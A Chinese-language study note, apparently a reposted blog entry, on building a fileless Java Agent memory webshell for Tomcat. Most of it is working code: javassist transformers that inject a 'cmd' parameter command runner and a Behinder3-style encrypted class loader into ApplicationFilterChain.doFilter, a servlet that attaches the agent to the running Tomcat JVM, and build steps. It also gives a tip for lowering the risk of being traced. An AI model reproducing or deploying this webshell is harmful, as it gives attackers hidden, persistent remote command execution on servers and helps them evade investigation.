Java安全之JavaAgent內存馬


Java安全之JavaAgent內存馬

Tomcat Filter

水一篇學習筆記
看網上大多數文章是去Hook的catalina.jar!/org/apache/catalina/core/ApplicationFilterChain.class#doFilter方法,因為internalDoFilter方法是自定義filter的入口在進入internalDoFilter方法邏輯之前加入內存馬邏輯是最好的。當然Listener的話也是差不多的,去尋找到Request生命周期中最早出現的點然后通過javassist等操作字節碼的技術去加入內存馬的邏輯即可。

Behinder3Agent

下面來寫Behinder3Agent,這里依舊是選擇attach模式。當然前面肯定是cmd的內存馬,但是可以用一個Agent,Behinder3的只需要改一下transformer中修改字節碼的部分即可。

package com.zh1z3ven.Memshell;

import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Behinder3Transformer implements ClassFileTransformer {
    public static String ClassName= "org.apache.catalina.core.ApplicationFilterChain";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {

        if (ClassName.equals(className)){
            try {
                ClassPool classPool = ClassPool.getDefault();
                CtClass ctClass = classPool.get(ClassName);
                ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(classPath);
                CtMethod doFilter = ctClass.getDeclaredMethod("doFilter");
                doFilter.insertBefore("javax.servlet.ServletRequest.HttpServletRequest request = request;\n" +
                        "javax.servlet.ServletResponse.response = response;\n" +
                        "javax.servlet.http.HttpSession session = request.getSession();\n" +
                        "HashMap var5 = new HashMap();\n" +
                        "var5.put(\"session\", session);\n" +
                        "var5.put(\"request\", request);\n" +
                        "var5.put(\"response\", response);\n" +
                        "    \n" +
                        "if (request.getHeader(\"X-HTTP-XML\").equals(\"application/xhtml+xml\")) {\n" +
                        "    try {\n" +
                        "        String var6 = \"ea298159be8ebd1c\";\n" +
                        "        response.setHeader(\"X-HTTP-XML\", \"application/xhtml+xml\");\n" +
                        "        session.putValue(\"u\", var6);\n" +
                        "        javax.crypto.Cipher var7 = javax.crypto.Cipher.getInstance(\"AES\");\n" +
                        "        javax.crypto.spec.SecretKeySpec var8 = new javax.crypto.spec.SecretKeySpec((session.getValue(\"u\") + \"\").getBytes(), \"AES\");\n" +
                        "        var7.init(2, var8);\n" +
                        "        String var9 = request.getReader().readLine();\n" +
                        "        java.lang.reflect.Method var10 = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", byte[].class, Integer.TYPE, Integer.TYPE);\n" +
                        "        var10.setAccessible(true);\n" +
                        "        byte[] var11 = var7.doFinal((new BASE64Decoder()).decodeBuffer(var9));\n" +
                        "        java.lang.Class var12 = (Class)var10.invoke(this.getClass().getClassLoader(), var11, new java.lang.Integer(0), new java.lang.Integer(var11.length));\n" +
                        "        var12.newInstance().equals(var5);\n" +
                        "    } catch (Exception var15) {\n" +
                        "    }\n" +
                        "}\n");
                byte[] bytes = ctClass.toBytecode();
                return bytes;

            } catch (NotFoundException e) {
                e.printStackTrace();
            } catch (CannotCompileException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }


        }


        return new byte[0];
    }
}

因為tomcat是jre環境,而com.sun.tools.attach.VirtualMachine是JDK下的類,在Tomcat運行時是無法獲取到的,可以通過反射+URLClassLoader來進行Agent的加載。

CMDShell Transformer

package com.zh1z3ven.Memshell;

import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class CMDMemshellTransformer implements ClassFileTransformer {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        className = className.replace('/', '.');

        if (className.equals(ClassName)) {
            ClassPool cp = ClassPool.getDefault();
            if (classBeingRedefined != null) {
                ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(classPath);
            }
            CtClass cc;
            try {
                cc = cp.get(className);
                CtMethod m = cc.getDeclaredMethod("doFilter");
                m.insertBefore(" javax.servlet.ServletRequest req = request;\n" +
                        "            javax.servlet.ServletResponse res = response;" +
                        "String cmd = req.getParameter(\"cmd\");\n" +
                        "if (cmd != null) {\n" +
                        "Process process = Runtime.getRuntime().exec(cmd);\n" +
                        "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
                        "new java.io.InputStreamReader(process.getInputStream()));\n" +
                        "StringBuilder stringBuilder = new StringBuilder();\n" +
                        "String line;\n" +
                        "while ((line = bufferedReader.readLine()) != null) {\n" +
                        "stringBuilder.append(line + '\\n');\n" +
                        "}\n" +
                        "res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
                        "res.getOutputStream().flush();\n" +
                        "res.getOutputStream().close();\n" +
                        "}");
                byte[] byteCode = cc.toBytecode();
                cc.detach();
                return byteCode;
            } catch (NotFoundException | IOException | CannotCompileException e) {
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

MANIFEST.MF/pom.xml

<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-jar-plugin</artifactId>
    <version>3.1.0</version>
    <configuration>
        <archive>
            <!--自動添加META-INF/MANIFEST.MF -->
            <manifest>
                <addClasspath>false</addClasspath>
            </manifest>
            <manifestEntries>
                <Agent-Class>com.zh1z3ven.Memshell.Behinder3FilterAgent</Agent-Class>
                <Can-Redefine-Classes>true</Can-Redefine-Classes>
                <Can-Retransform-Classes>true</Can-Retransform-Classes>
            </manifestEntries>
        </archive>
    </configuration>
</plugin>

之后依然有一個小坑點,在測試時發現一直拋一個異常:
最后發現應該是MANIFEST.MF文件的問題,通過pom.xml去自動生成的MANIFEST.MF文件會默認多很多東西,比如下面這段報錯應該就是在MANIFEST.MF文件多了javassist依賴聲明的問題。

Exception in thread "Attach Listener" java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at sun.instrument.InstrumentationImpl.loadClassAndStartAgent(InstrumentationImpl.java:386)
	at sun.instrument.InstrumentationImpl.loadClassAndCallAgentmain(InstrumentationImpl.java:411)
Caused by: java.lang.NoClassDefFoundError: javassist/NotFoundException
	at com.zh1z3ven.Memshell.Behinder3FilterAgent.agentmain(Behinder3FilterAgent.java:11)
	... 6 more
Caused by: java.lang.ClassNotFoundException: javassist.NotFoundException
	at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
	at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:331)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
	... 7 more
Agent failed to start!

那就需要不通過Maven package生成jar,通過IDEA Build去生成jar
0x01 src目錄下創建/META-INF/MANIFEST.MF文件,填寫好文件內容
MANIFEST.MF: 依然注意在最下面多兩行空格。

Manifest-Version: 1.0
Can-Redefine-Classes: true
Agent-Class: com.zh1z3ven.Memshell.Behinder3FilterAgent
Can-Retransform-Classes: true


0x02 配置Build
Porject Structure ==> Artifacts ==> Add JAR(From modules with dependencies, 去掉main/java目錄。配置好后通過Build Artifacts...生產jar包即可,默認會輸出到out目錄下。

這樣就可以自己改動.MF文件了

測試類

因為Tomcat運行時是JRE環境,所以可以通過反射+ClassLoader的方式,通過反射調用com.sun.tools.attach.VirtualMachine#JVM pid)方法以及loadAgent(JAR Path)加載Agent。 盡量反射寫好,后續改動到ysoserial的createTemplatesImpl方法中會比較方便,因為其中也會用到javassist。

package com.JavaAgentTest;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.net.URL;


@WebServlet("/AgentInject")
public class Behinder3AgentMain extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        inject();
        resp.getWriter().println("Behinder3 Agent Memshell Inject Success!");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doGet(req, resp);
    }

    public static String agentPath = "/Users/xxx/JavaSourceCode/JavaCode/JavaAgent/out/artifacts/JavaAgent_jar/JavaAgent.jar";

    public void inject() {
        // System.out.println(System.getProperty("java.home"));
        // /Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/jre

        // 0x01 獲取tools.jar
        java.lang.String toolsjarPath = System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar";
        java.io.File toolsjar = new File(toolsjarPath);

        // 0x02 URLClassLoader加載tools.jar中的com.sun.tools.attach.VirtualMachine/VirtualMachineDescriptor類
        java.net.URL url = null;
        try {
            url = toolsjar.toURI().toURL();
            java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new URL[]{url}, null);
            java.lang.Class<?> virtualMachine = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            java.lang.Class<?> vrtualMachineDescriptor = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            // 0x03 尋找當前系統中所有運行着的JVM進程
            java.lang.reflect.Method listMethod = virtualMachine.getDeclaredMethod("list",new java.lang.Class[]{});
            java.util.List<Object> pidlist = (java.util.List<Object>) listMethod.invoke(null, new Object[]{});
            for (int i = 0; i < pidlist.size(); i++) {
                Object o = pidlist.get(i);
                java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName");
                Object name = displayName.invoke(o, new Object[]{});
                // 0x04 找到Tomcat進程,attach
                if (name.toString().contains("org.apache.catalina.startup.Bootstrap")){
                    java.lang.reflect.Method attach = virtualMachine.getDeclaredMethod("attach", new Class[]{vrtualMachineDescriptor});
                    // 這里調的attch重載方法,attach可以通過pid也可通過相關jvm進程的vrtualMachineDescriptor對象傳參
                    Object machin = attach.invoke(virtualMachine, new Object[]{o});
                    // 0x05 loadAgent
                    java.lang.reflect.Method loadAgent = machin.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent",new Class[]{String.class});
                    loadAgent.invoke(machin, new Object[]{agentPath});
                    //0x06 detach
                    java.lang.reflect.Method detach = virtualMachine.getDeclaredMethod("detach", new Class[]{});
                    detach.invoke(machin, new Object[]{});

                    break;
                }

            }

        } catch (Exception e) {
            e.printStackTrace();
        }


    }
}

訪問路由

反序列化注入的話就是需要把測試類的代碼摳出來,用反射+javassist的格式寫一遍,重寫createTemplatesImpl方法即可,這個就和該ysoserial工作類似不在深究了。
Spring和Tomcat思路就類似了,Hook點換成相應Controller入口或者Interceptor入口即可

幾個需要注意的點

首先是注入的流程
1編寫Agent代碼,主要是需要先add了我們自己寫的Transformer,之后遍歷已經加載的類,比如找到Tomcat的ApplicationFilterChain,再retransformClasses重新加載,此時的字節碼就被我們修改了。
需要注意的幾個點:
1、javassist語法的坑,其實之前改ysoserial就遇到了,可以參照上面代碼去寫。
2、重新加載已經被Tomcat加載過的類
3、Tomcat運行時環境是JRE環境,沒有tools.jar,可以通過反射+URLClassLoader加載
4、MANIFEST.MF通過pom.xml去自動生成會多加很多的信息,包括創建者等等,建議還是通過配置build去自己寫此文件,可以少踩一些坑,也減少被溯源的風險
5、最后也沒能實現behinder3的javassist,踩了蠻多坑,但感覺JavaAgent去打內存馬在實戰中的場景應該並不多,還是通過Filter/Interceptor這些去打會比較方便(個人感覺)

Reference

https://y4er.com/post/javaagent-tomcat-memshell/
https://github.com/IndustriousSnail/javassist-learn


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM